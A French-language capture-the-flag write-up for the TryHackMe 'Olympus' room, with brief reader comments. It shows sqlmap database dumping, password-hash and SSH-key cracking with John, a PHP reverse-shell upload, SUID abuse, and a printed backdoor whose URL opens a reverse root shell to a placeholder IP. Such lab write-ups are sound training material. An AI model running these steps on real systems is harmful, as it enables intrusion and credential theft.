Views: 1160
Lien : https://tryhackme.com/room/olympusroom
Auteur : https://tryhackme.com/p/G4vr0ch3
Difficulté : Moyenne
[Enumeration]
L’énumération de la machine à l’aide de nmap nous permet de découvrir 2 ports ouverts qui sont le 22 et le 80.
# nmap -A -T4 -p- 10.10.5.206
Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-21 14:08 GMT
Nmap scan report for 10.10.5.206
Host is up (0.066s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
| 256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
|_ 256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://olympus.thm
Ce qui nous permet donc de voir sur le scan que nous sommes redirigé vers http://olympus.thm, nous allons donc ajouter ce dernier dans notre fichier /etc/hosts :
echo '10.10.5.206 olympus.thm' | sudo tee -a /etc/hosts
En regardant le site de plus près nous obtenons cette page :
Nous pouvons donc tenter d’énumérer ce site afin d’y découvrir des choses intéressantes à l’aide de gobuster :
# gobuster dir -u http://olympus.thm/ -t 30 -w /usr/share/Seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://olympus.thm/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/Seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/07/21 14:35:16 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/index.php (Status: 200) [Size: 1948]
/javascript (Status: 301) [Size: 315] [--> http://olympus.thm/javascript/]
/phpmyadmin (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
/static (Status: 301) [Size: 311] [--> http://olympus.thm/static/]
/~webmaster (Status: 301) [Size: 315] [--> http://olympus.thm/~webmaster/]
On peut donc voir que le dossier « ~webmaster » n’est pas commun et après vérification on obtient le CMS Victor CMS d’installé :
[CMS Exploit]
Nous trouvons donc une piste à l’aide de searchsploit :
searchsploit Victor CMS
Après avoir récupéré l’exploit à l’aide de searchsploit :
L’exploit nous explique que le paramètre « search » est vulnérable à une injection SQL et pour l’exploiter nous utilisons sqlmap :
sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms
sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms --tables -D olympus --dump
On obtiens donc énormément d’informations intéressantes et à noter de côté !
Voici le premier flag de la machine :
Et voici le hash de chaque utilisateur du CMS et que nous devons garder pour la suite :
Ainsi qu’une table « chats » très intéressante qui nous dit :
This looks great! I tested an upload and found the upload folder, but it seems the filename got changed somehow because I can’t download it back I know this is pretty cool. The IT guy used a random file name function to make it harder for attackers to access the uploaded files. He’s still working on it.
On trouve plus haut dans la table « users » un [email protected] qui nous amène donc à ajouter chat.olympus.thm dans notre fichier /etc/hosts et à l’analyser de plus près :
Nous tenterons donc d’utiliser les informations trouvées dans la base de données et pour ce faire nous allons utiliser John afin de cracker les passwords :
john hash --wordlist=/usr/share/wordlists/rockyou.txt
On trouve le mot de passe de l’utilisateur Prometheus et qui nous permet donc de se connecter à notre page de login :
Qui nous amène sur une page permettant d’upload un fichier et qui est liée aux informations présentes dans la table « chats » de la DB :
Ce qui nous permet d’upload un reverse shell mais malheureusement le nom du fichier est généré aléatoirement mais pas de soucis pour bypass ceci, il suffit de dump la DB à l’aide de SQLmap une nouvelle fois et de lire le nouveau nom de notre fichier :
sqlmap -u "http://olympus.thm/~webmaster/search.php" --dbs --forms --tables -D olympus --dump --fresh-queries
Et on trouve donc le nouveau nom de notre fichier qui nous permet d’obtenir un premier accès à la machine :
# http://chat.olympus.thm/uploads/156785861a33c70b6c4c04f591531ca8.php
[User]
On récupère donc le second flag de la machine ainsi qu’un message laissé de la part de Prometheus :
Après avoir listé les binaires SUID, on trouve donc un binaire peu commun « cputils » :
find / -perm -u=s -type f 2>/dev/null
Ce dernier permet donc de copier le contenu d’un fichier appartenant à Zeus vers un autre fichier :
Nous devons donc récupérer cette clé afin de se connecter à l’utilisateur Zeus via SSH :
chmod 400 id_rsa
ssh -i id_rsa [email protected]
Mais la clé est protégée par une passphrase que nous allons devoir trouver à l’aide de notre ami John :
/usr/share/john/ssh2john.py id_rsa > pass
john pass --wordlist=/usr/share/wordlists/rockyou.txt
On peut donc nous connecter en utilisant la passphrase :
[PrivESC]
Après énumération des users et groupes own par Zeus, nous obtenons :
find / -group zeus -print 2>/dev/null
Le contenu du fichier php semble fortement indiquer que Prometheus a mis en place une backdoor :
<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form name="auth" method="POST">Password: <input type="password" name="password" /></form>');
set_time_limit(0);
$host = htmlspecialchars("$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", ENT_QUOTES, "UTF-8");
if(!isset($_GET["ip"]) || !isset($_GET["port"])) die("<h2><i>snodew reverse root shell backdoor</i></h2><h3>Usage:</h3>Locally: nc -vlp [port]</br>Remote: $host?ip=[destination of listener]&port=[listening port]");
$ip = $_GET["ip"]; $port = $_GET["port"];
$write_a = null;
$error_a = null;
$suid_bd = "/lib/defended/libc.so.99";
$shell = "uname -a; w; $suid_bd";
[REDACTED]
?>
Nous accédons à cette interface sur l’adresse suivante en spécifiant l’adresse IP de la machine car le fichier index.php est le fichier qui redirige vers http://olympus.thm :
http://10.10.5.206/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
Afin d’obtenir un shell nous rentrons donc le password présent dans le fichier php et activons notre reverse shell.
http://10.10.5.206/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=YOUR_IP&port=YOUR_PORT
Et bingo nous obtenons donc un shell en tant que root :
[BONUS]
Il nous reste donc à présent à trouver le dernier flag qui est présent dans /etc et l’avantage est que nous connaissons déjà le format du flag qui est « FLAG{« :
grep -rni "flag{" /etc/
Bravo pour ce writeups clair
Merci !
Du bon travail comme d’habitude !
Merci à toi 🙂
Bravo, très bien expliqué.
Hello, merci beaucoup !